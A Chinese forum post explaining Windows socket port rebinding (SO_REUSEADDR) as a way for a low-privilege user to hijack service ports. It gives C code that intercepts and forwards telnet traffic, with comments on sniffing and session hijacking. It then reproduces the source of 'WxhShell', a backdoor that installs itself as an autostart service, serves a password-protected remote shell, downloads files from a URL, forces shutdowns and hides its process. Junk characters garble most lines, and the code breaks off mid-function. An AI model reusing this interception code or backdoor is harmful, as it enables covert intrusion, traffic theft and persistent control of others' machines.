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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 28vQ  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); MG~bDM4  
=}YX I  
  saddr.sin_family = AF_INET; *%*B o9a/  
.y lvJ$  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ^?*<.rsG  
Qe-PW9C  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); RT${7=  
F@mxd  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 wB&5q!{!  
G#M0 C>n  
  这意味着什么?意味着可以进行如下的攻击: zRbY]dW  
JKy~'>Q  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ( 4# iLs  
Vf<q-3q  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) =- ,'LOE  
/4@ [^}x  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 V7.g,  
+bT[lJ2O>G  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  hRMya#%-  
mxpj<^n}  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 9Q!Z9n"8~)  
g> ~+M  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 :wG )  
0a bQY  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 /0$fYrg>J  
sN2m?`?"G  
  #include WA0D#yuJ/  
  #include pb)kN%  
  #include +k~0&lZi  
  #include    w`=O '0d  
  DWORD WINAPI ClientThread(LPVOID lpParam);   (\!?>T[En  
  int main() A=IpP}7J  
  { lfre-pS+  
  WORD wVersionRequested; vB}c6A4'U  
  DWORD ret; g7a446QR\K  
  WSADATA wsaData; O6vxp?:^  
  BOOL val; 3W]gn8  
  SOCKADDR_IN saddr; `*BV@  
  SOCKADDR_IN scaddr; w%8y5v5  
  int err; Ie|5,qw E  
  SOCKET s; e([>sAx!1  
  SOCKET sc; iy_Y!wZ{  
  int caddsize; AI|+*amTd  
  HANDLE mt; O"Nr$bS(Y  
  DWORD tid;   C*3St`2@9  
  wVersionRequested = MAKEWORD( 2, 2 ); {u2Zl7]z^  
  err = WSAStartup( wVersionRequested, &wsaData ); P/.<sr=2  
  if ( err != 0 ) { Rb.vyQ  
  printf("error!WSAStartup failed!\n"); 8?Ju\W  
  return -1; NkO+ )=  
  } b9m`y*My  
  saddr.sin_family = AF_INET; q6w)zTpJGJ  
   'Grii,  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 #QIY+muN  
nc\`y,>l8  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ydo9 P5E  
  saddr.sin_port = htons(23); )#cZ& O  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 6lv@4R^u  
  { [l3\0e6-/  
  printf("error!socket failed!\n"); pGjwI3_K  
  return -1; {59 >U~  
  } {+=hYB|&  
  val = TRUE; EJ#I7_  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 .P aDR |!  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) vxTn  
  { ?]$<Ufr  
  printf("error!setsockopt failed!\n"); 6?~9{0  
  return -1; }DS%?6}Sy  
  } q+9->D(6  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Q=Mv"~2>B  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 \}v@!PQl  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 cZ|*Zpk  
m~AAO{\:b  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Nh}-6|M  
  { } &+]UGv  
  ret=GetLastError(); [0y,K{8t  
  printf("error!bind failed!\n"); $q:l \  
  return -1; G\dPGPPM  
  } cB){b'WJ  
  listen(s,2); Lv['/!DJ|  
  while(1) * @]wT'  
  { gfj_]  
  caddsize = sizeof(scaddr); M$%ON>K q  
  //接受连接请求 !DFTg 4xb  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); O}zHkcL  
  if(sc!=INVALID_SOCKET) PiM(QR  
  {  ~d eS*  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 2PyuM=(Wt  
  if(mt==NULL) bWp:!w#K  
  { nt$P A(Y  
  printf("Thread Creat Failed!\n"); f tTD-d  
  break; @y7KP$t  
  } LF!KP  
  } =Pw{1m|k  
  CloseHandle(mt); H 4 ELIF#@  
  } 5X)QW5A  
  closesocket(s); ;&=CZ6vH  
  WSACleanup(); _ikKOU^8  
  return 0; :?zq!  
  }   01-rBto$  
  DWORD WINAPI ClientThread(LPVOID lpParam) JseKqJ?g  
  { t;VMtIW+E  
  SOCKET ss = (SOCKET)lpParam; Db|JR  
  SOCKET sc; Xydx87L/-e  
  unsigned char buf[4096]; ,Ohhl`q(  
  SOCKADDR_IN saddr; =t-Ud^3  
  long num; `RSiZ%Al  
  DWORD val; Q2ne]MI  
  DWORD ret; v\6.#>NQ  
  //如果是隐藏端口应用的话,可以在此处加一些判断 a%m )8N;C  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Y QC.jnb2  
  saddr.sin_family = AF_INET; 5}hQIO&^%  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); HN NeH;L  
  saddr.sin_port = htons(23); zqdkt `  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4z5qXI/<m4  
  { c Q-#]  
  printf("error!socket failed!\n"); 6/L[`n"G  
  return -1; >l)x~Bkf$j  
  } ,0h{RZKw  
  val = 100; &77J,\C$:  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) A}9^,C$#  
  { 5 ,MM`:{{  
  ret = GetLastError(); OXM=@B<"  
  return -1; $m5Iv_  
  } %1k"K~eu  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 83V\O_7j  
  { +0[H`5-^  
  ret = GetLastError(); ]Whv%  
  return -1; 2 oL$I(83  
  } t&43)TPb.  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) sYXLVJ>b  
  { <ndY6n3  
  printf("error!socket connect failed!\n"); +76ao7d.  
  closesocket(sc); -:_3N2U=+  
  closesocket(ss); _X?_|!;J  
  return -1; sqhIKw@  
  } !U4YA1>>  
  while(1) KS5a8'U  
  { aj1g9 y  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 j-/$e,xX  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 cy6YajOk7  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ~u0<c:C^  
  num = recv(ss,buf,4096,0); (bI/s'?K  
  if(num>0) |a7Kn/[`,  
  send(sc,buf,num,0); Es}`S Ie/  
  else if(num==0) 5,4" CF$  
  break; bydI+pVMo  
  num = recv(sc,buf,4096,0); :_HdOm  
  if(num>0) 9f& !Uw_W  
  send(ss,buf,num,0); x76;wQ  
  else if(num==0) 8H};pu2  
  break; 'tMD=MH  
  } Y#9bM $x7  
  closesocket(ss); 3hJ51=_0^  
  closesocket(sc); =`(W^&|  
  return 0 ; 0r$n  
  } R9-mq; u+  
&%(Dd  
s4f{ziLp  
========================================================== $P8AU81  
@6!Myez'  
下边附上一个代码,,WXhSHELL <ir]bQT  
v`Y{.>[H[  
========================================================== {Qd oI Pr3  
+,7vbs3  
#include "stdafx.h" (u@X5O(a  
c*<BU6y  
#include <stdio.h> g 6?y{(1  
#include <string.h> M|@@ LJ'  
#include <windows.h> X<W${L$G  
#include <winsock2.h> +S#Xm4  
#include <winsvc.h> 8qfXc ^6  
#include <urlmon.h> u^'X>n)oL#  
=%I;Y& K  
#pragma comment (lib, "Ws2_32.lib") `25<;@  
#pragma comment (lib, "urlmon.lib") ZhRdml4U2  
q!><:"#[G  
#define MAX_USER   100 // 最大客户端连接数 4kV$JV.l  
#define BUF_SOCK   200 // sock buffer hZo  f  
#define KEY_BUFF   255 // 输入 buffer 1jBIi  
c1R[Hck  
#define REBOOT     0   // 重启 'vq0Tw5  
#define SHUTDOWN   1   // 关机 \v{HjqVkC  
h'vBWtMa  
#define DEF_PORT   5000 // 监听端口 `|92!Ej  
IY!8j$'|  
#define REG_LEN     16   // 注册表键长度 B=r+ m;(  
#define SVC_LEN     80   // NT服务名长度 e:N;Jx#  
k %sxA  
// 从dll定义API ^rY18?XC+:  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8090+ ( U  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); n8\88d  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <wd;W;B  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 96; gzG@1!  
,E%O_:}R  
// wxhshell配置信息 y G mFi  
struct WSCFG { ?y  "M>#  
  int ws_port;         // 监听端口 NCo!n$O1~  
  char ws_passstr[REG_LEN]; // 口令 4}*.0'Hz  
  int ws_autoins;       // 安装标记, 1=yes 0=no N<Ym&$xR  
  char ws_regname[REG_LEN]; // 注册表键名 _2<UcC~  
  char ws_svcname[REG_LEN]; // 服务名 1BP/,d |+  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ru1^. (W2  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ?h| DeD!s  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 VKlC`k8L  
int ws_downexe;       // 下载执行标记, 1=yes 0=no dd +lQJ c  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" rmWs o b  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 6p&uifY}tR  
xDS]k]/(T  
}; bkpN`+c  
zITxJx  
// default Wxhshell configuration @W==)S%O  
struct WSCFG wscfg={DEF_PORT, /+ais 3  
    "xuhuanlingzhe", sK/ymEfRv  
    1, 3Tw9Uc\vT  
    "Wxhshell", cBOt=vg,5  
    "Wxhshell", (4C)] RHQ  
            "WxhShell Service", {F\P3-ub  
    "Wrsky Windows CmdShell Service", d{B0a1P  
    "Please Input Your Password: ", d6??OO=~>M  
  1, ]F;1l3I-  
  "http://www.wrsky.com/wxhshell.exe", -Edi"B4K  
  "Wxhshell.exe" iO18FfM_  
    }; J*:_3Wsy  
k;SKQN  
// 消息定义模块 Dk2Zl  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; S+^hK1jL  
char *msg_ws_prompt="\n\r? for help\n\r#>"; `fG<iBD  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; . _Jypk8  
char *msg_ws_ext="\n\rExit."; #e@[{s7  
char *msg_ws_end="\n\rQuit."; i3$G)W  
char *msg_ws_boot="\n\rReboot..."; `JGW8 _  
char *msg_ws_poff="\n\rShutdown..."; C58B(Ndo  
char *msg_ws_down="\n\rSave to "; I1K%n'D  
8f%OPcr&  
char *msg_ws_err="\n\rErr!"; 3.ShAL  
char *msg_ws_ok="\n\rOK!"; =`C K`x  
Z}SqiT  
char ExeFile[MAX_PATH]; o>&pj  
int nUser = 0; GyFA1%(o  
HANDLE handles[MAX_USER]; \-[ >bsg  
int OsIsNt; j|p=JrCJ  
{FILt3f;  
SERVICE_STATUS       serviceStatus; BXz g33  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; xsS;<uCD  
:eevc7  
// 函数声明 :RBeq,QaO  
int Install(void); #%#N.tB 5  
int Uninstall(void); sP=^5K`g  
int DownloadFile(char *sURL, SOCKET wsh); 6Tm7|2R  
int Boot(int flag); KO"+"1 .  
void HideProc(void); i;IhsKO0R  
int GetOsVer(void); EyBTja(4  
int Wxhshell(SOCKET wsl); 8&qtF.i-6  
void TalkWithClient(void *cs); y T&#k1  
int CmdShell(SOCKET sock); :TV`uUE  
int StartFromService(void); _?I*:: I  
int StartWxhshell(LPSTR lpCmdLine); %`/F> `  
Jv]$@>#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ztp2j%'  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !g#y$  
*Aug7 HlS  
// 数据结构和表定义 ? 5OK4cR  
SERVICE_TABLE_ENTRY DispatchTable[] = 'coY`B; 8  
{ t/3qD7L  
{wscfg.ws_svcname, NTServiceMain}, Ufor>  
{NULL, NULL} lWP]}Uy=5~  
}; MvaX>n !o  
6 Pdao{P  
// 自我安装 r{Mn{1:O  
int Install(void) GR 1%(,  
{ l2Rnyb<;;  
  char svExeFile[MAX_PATH]; \ *g3j  
  HKEY key; /o}i,i$  
  strcpy(svExeFile,ExeFile); -"#jRP]#  
~K(mt0T )  
// 如果是win9x系统,修改注册表设为自启动 3`NSSS  
if(!OsIsNt) { n+2>jY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .CW,Td3f!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0 c,!<\B  
  RegCloseKey(key); J L1]auO*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4|4[3Ye7u:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,;<M+V3+  
  RegCloseKey(key); ,TYFPulYcp  
  return 0; # 00?]6`z  
    } 2 ksbDl}  
  } by,3A  
} }I18|=TB  
else { l?Ls=J*  
\H1t<B,  
// 如果是NT以上系统,安装为系统服务 >?ec"P%vS/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 7E5 =Qx  
if (schSCManager!=0) nAX/u[  
{ ([7XtG/?  
  SC_HANDLE schService = CreateService 152LdZevF  
  ( 3[ xHY@c  
  schSCManager, ;w._/  
  wscfg.ws_svcname, J\ J3 'u  
  wscfg.ws_svcdisp, <5G 4|l  
  SERVICE_ALL_ACCESS, >Qg-dJt[  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , DwWm(8&6;}  
  SERVICE_AUTO_START, .;(a;f+{;  
  SERVICE_ERROR_NORMAL, ~Qf\DTM&  
  svExeFile, `v'yGsIV  
  NULL, gQ<{NQMzvd  
  NULL, iI &z5Q2  
  NULL, SQMtR2  
  NULL, HC6v#-( `{  
  NULL b.9[Vf_G  
  ); j*d+WZm8-g  
  if (schService!=0) hb9HVj  
  { MIN}5kc<  
  CloseServiceHandle(schService); p=|S %  
  CloseServiceHandle(schSCManager); [e{D  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #CW{y?=  
  strcat(svExeFile,wscfg.ws_svcname); :u)Qs#'29  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { cxx8I  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~3%aEj  
  RegCloseKey(key); abS3hf  
  return 0; . K_Jg$3  
    } 7`^=Ie%(K  
  } #nmh=G?\Sm  
  CloseServiceHandle(schSCManager); VA %lJ!$  
} 5'<mfY'B  
} @xk;]H80  
*)vy%\  
return 1; H.o3d/8:  
} 4ti,R'  
h<n2pz}  
// 自我卸载 kxmsrQ>av  
int Uninstall(void) D u_ ;!E  
{ c6iFha;db  
  HKEY key; ~B7<Yg  
.B'ws/%5\  
if(!OsIsNt) { [jGE {<Je  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -KZ9TV # R  
  RegDeleteValue(key,wscfg.ws_regname); xlh<}V tp  
  RegCloseKey(key); s{42_O?,c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V?-2FK]  
  RegDeleteValue(key,wscfg.ws_regname); ~D`  
  RegCloseKey(key); BL-7r=Z  
  return 0; ^S)t;t@x  
  } Qv)DSl  
} LKZv#b[h  
} Wq?vAnLbk  
else { Or55_E  
E `V?Io  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); E5Ls/ H K  
if (schSCManager!=0) A+z}z@K  
{ 1DN  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); jLw|F-v-l<  
  if (schService!=0) 6=*n$l# }  
  { xhB-gG=  
  if(DeleteService(schService)!=0) { _,f7D/dq  
  CloseServiceHandle(schService); /03?(n= 3  
  CloseServiceHandle(schSCManager); NL'(/|)  
  return 0; {s=c!08=  
  } ^S(QvoaQ  
  CloseServiceHandle(schService); A-h[vP!v|  
  } .}E@ 7^X  
  CloseServiceHandle(schSCManager); :!FGvR6  
} i8#:y`ai  
} &G?w*w_n  
db>"2EE  
return 1; }|nEbM]#  
} ~b%dBn]n>  
:w7?]y6~S  
// 从指定url下载文件 V}FH5z |  
int DownloadFile(char *sURL, SOCKET wsh) *|gl1S  
{ fVi[mH0=+  
  HRESULT hr; /PG%Y]l0b  
char seps[]= "/"; ^KV:.up6  
char *token; lXD=uRCI  
char *file; .sb0|3&  
char myURL[MAX_PATH]; M[e^Z}w.V  
char myFILE[MAX_PATH]; g'EPdE  
di<g"8  
strcpy(myURL,sURL); +;bZ(_ohG  
  token=strtok(myURL,seps); 6t'.4SR  
  while(token!=NULL) Un&rP70  
  { n>)h9q S  
    file=token; v7f[$s$m  
  token=strtok(NULL,seps); hb>uHUb&  
  } m]}EVa_I`/  
pezfB{x?  
GetCurrentDirectory(MAX_PATH,myFILE); {J/+KK  
strcat(myFILE, "\\"); 7'ws: #pC  
strcat(myFILE, file); 7UUu1"|a|  
  send(wsh,myFILE,strlen(myFILE),0); yvnvIy  
send(wsh,"...",3,0); !P6?nS  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); GKG:iR)  
  if(hr==S_OK) f*^bV_  
return 0; SjcX|=S  
else Ix0#eoj  
return 1; Eks<O  
=!/T4Oo  
} $MM[`^~  
\@zoM:[sN  
// 系统电源模块 \[/}Cy  
int Boot(int flag) Yfy";C7X  
{ (.b!kfC  
  HANDLE hToken; _j~y;R)  
  TOKEN_PRIVILEGES tkp; i6O'UzD@T  
},O7NSG<o  
  if(OsIsNt) { 8L`wib2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); YI]/gWeu  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); %2beoH'  
    tkp.PrivilegeCount = 1; ;x/. 8fA  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; |_a^+!P  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _Ecs{'k  
if(flag==REBOOT) { @k/|%%uP  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) upq3)t_  
  return 0; bKh}Y`  
} EWWCh0 {  
else { Jt)J1CA Yo  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) GxE`z6%[  
  return 0; q^L"@Q5;  
} o ,8;=f,7  
  } BM87f:d  
  else { Xod/GY G  
if(flag==REBOOT) { Q{ { =  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) A^4#6],%v  
  return 0; #.LI `nYA  
} 0 Cyus  
else { "DRiJ.|APs  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) d-I=xpB  
  return 0; D8b9 T.[(  
} -)DxF<8B  
} 4OG 1_6K  
i\* b<V  
return 1; %V(U]sbV  
} %B\VY+  
W>[TFdH?  
// win9x进程隐藏模块 s2#}@b6'.  
void HideProc(void) |w>d]eA5  
{ R,-DP/ (im  
_?XR;2 ]  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); BNixp[Hc  
  if ( hKernel != NULL ) Io('kCOR;  
  { XFi9qL^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); hF1Lj=x  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,X\qlT5C  
    FreeLibrary(hKernel); hKe ms3  
  } ]zI*}(adu  
-r[O_[g w  
return; k40`,;}9  
} R l)g[s  
Ls&-8  
// 获取操作系统版本 m4R:KjN*  
int GetOsVer(void) Uu|R]azbO  
{ rt\.|Hr4s  
  OSVERSIONINFO winfo; ~hT(uxU/  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); TR:4$92:H  
  GetVersionEx(&winfo); 4u1au1c  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) C0&ZQvvy1:  
  return 1; 1Q$/L+uJ5  
  else jori,"s  
  return 0; mC'<Ov<eJ  
} hE +M|#o  
U bh)}G,Mg  
// 客户端句柄模块 M[0NB2`Wp  
int Wxhshell(SOCKET wsl) U< "k -  
{ M4t:)!dji?  
  SOCKET wsh; 9ol&p>  
  struct sockaddr_in client; RZ?abE8  
  DWORD myID;  y`pgJO  
K>#QC  
  while(nUser<MAX_USER) }?9A:&  
{ t*Z4&Sy^  
  int nSize=sizeof(client); *~zB{  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); j!IkU}*c  
  if(wsh==INVALID_SOCKET) return 1; (?[%u0%_  
_*wlK;`  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); BfDC[(n`  
if(handles[nUser]==0) P o\d!  
  closesocket(wsh); e8k|%m<Sp  
else 5GURfG3{  
  nUser++; ".kH5(:  
  } d}@n,3  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); k: z)Sw  
C-^8;xd  
  return 0; XM`&/)  
} ?:+p#&I  
pwA~?$B1  
// 关闭 socket  4Gj  
void CloseIt(SOCKET wsh) SgQ(#y|vV  
{ &_'3(xIO  
closesocket(wsh); j/1 f|x  
nUser--; 1 ;Uc -<  
ExitThread(0); {O4&HW%  
} R?#.z#  
?2K~']\S  
// 客户端请求句柄 4p>,  
void TalkWithClient(void *cs) qCm8R@  
{ C-&s$5MzGb  
P9M%B2DQ6f  
  SOCKET wsh=(SOCKET)cs;  }D!o=Mg^  
  char pwd[SVC_LEN]; !14l[k+\  
  char cmd[KEY_BUFF]; %Lp#2?*  
char chr[1]; 5YXMnYt9  
int i,j; Q>WnSm5R  
{#z[iiB  
  while (nUser < MAX_USER) { =h/61Bl3  
!#S"[q  
if(wscfg.ws_passstr) { :#=B wdC  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); VYQ]?XF3i  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !4$-.L)#  
  //ZeroMemory(pwd,KEY_BUFF); QM{B(zH  
      i=0; sc z8 `%  
  while(i<SVC_LEN) { -5@hU8B'a  
l=47#zbpZ]  
  // 设置超时 gj82qy\:  
  fd_set FdRead; /$j,p E=  
  struct timeval TimeOut; &H2j3De  
  FD_ZERO(&FdRead); )#,a'~w  
  FD_SET(wsh,&FdRead); G9CL}=lJ,  
  TimeOut.tv_sec=8; Pxgal4{6  
  TimeOut.tv_usec=0; Z.N9e  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); BfQ#5  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); WmE4TL^8?  
U:8cz=#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7/dp_I}cO  
  pwd=chr[0]; X @X`,/{X  
  if(chr[0]==0xd || chr[0]==0xa) { 7Kt i&T  
  pwd=0; i"n1E@  
  break; fF. +{-.  
  } peVzF'F  
  i++; >n%ckL|rG  
    } }p*WH$!~  
>dwY( a  
  // 如果是非法用户,关闭 socket $^W|@et{ ]  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); zvT8r(<n}  
} |C7=$DgwY  
6`5DR~  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); * K0aR!  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,N8SP 'R  
*?o 'sTH  
while(1) { rC6EgWt<V  
&& WEBQ  
  ZeroMemory(cmd,KEY_BUFF); \_/dfmlIZ  
P} Y .  
      // 自动支持客户端 telnet标准   ty8E;[ '  
  j=0; xxpzz(S ]A  
  while(j<KEY_BUFF) { J n'SGR  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e)|5 P  
  cmd[j]=chr[0]; 4K >z?jd  
  if(chr[0]==0xa || chr[0]==0xd) { qrc ir-+  
  cmd[j]=0; 'w_Qs~6~{  
  break; ](z*t+">  
  } !~Kg_*IT  
  j++; z!)@`?  
    }  `dIwBfg_  
P-X2A2  
  // 下载文件 [f=Y*=u9,  
  if(strstr(cmd,"http://")) { I~,bZA  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ra^"Vr  
  if(DownloadFile(cmd,wsh)) ^_uCSA'X  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0_-P~^A  
  else 3lN@1jlh  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MZ>Q Rf  
  } "1rT> ASWI  
  else { l _zTpyOZ  
Cw~fP[5XMF  
    switch(cmd[0]) { t_\&LMD  
  H"wIa8A  
  // 帮助  Rp6q)  
  case '?': { =|H.r9-PK6  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }w{E<C(M  
    break; x}#N?d  
  } 2g;Id.i>  
  // 安装 [ic%ZoZ_  
  case 'i': { Ij:yTu   
    if(Install()) Ka$lNL3<j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >C`#4e?}  
    else i_av_I-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f0*_& rP  
    break; c~!ETwpHQ  
    } z<8VJZd  
  // 卸载 *TPWLR ^  
  case 'r': { x|g2H.n  
    if(Uninstall()) ul!q)cPb{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yh.WTgcW  
    else c-4z8T#M^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fP llN8n  
    break; x\YVB',h  
    } w7f)v\p  
  // 显示 wxhshell 所在路径 w4l]rH  
  case 'p': { JX`>N(K4\  
    char svExeFile[MAX_PATH]; t;_1/ mt  
    strcpy(svExeFile,"\n\r"); LdnTdh?  
      strcat(svExeFile,ExeFile); TW=N+ye^1(  
        send(wsh,svExeFile,strlen(svExeFile),0); %Lq}5zB  
    break; 8#HQ05q>  
    } x!u6LDq0  
  // 重启 ^1Bk*?Yx\x  
  case 'b': { D!i|KI/  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >2NsBS(  
    if(Boot(REBOOT)) & d* bQv$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >L$9fn/J  
    else { OXZx!h  
    closesocket(wsh); OK2\2&G  
    ExitThread(0); ?"@SxM~\  
    } rY)m"'puP  
    break; qJw\<7m  
    } ]-l4  
  // 关机 |C>\k u*  
  case 'd': { `!ZkWF6  
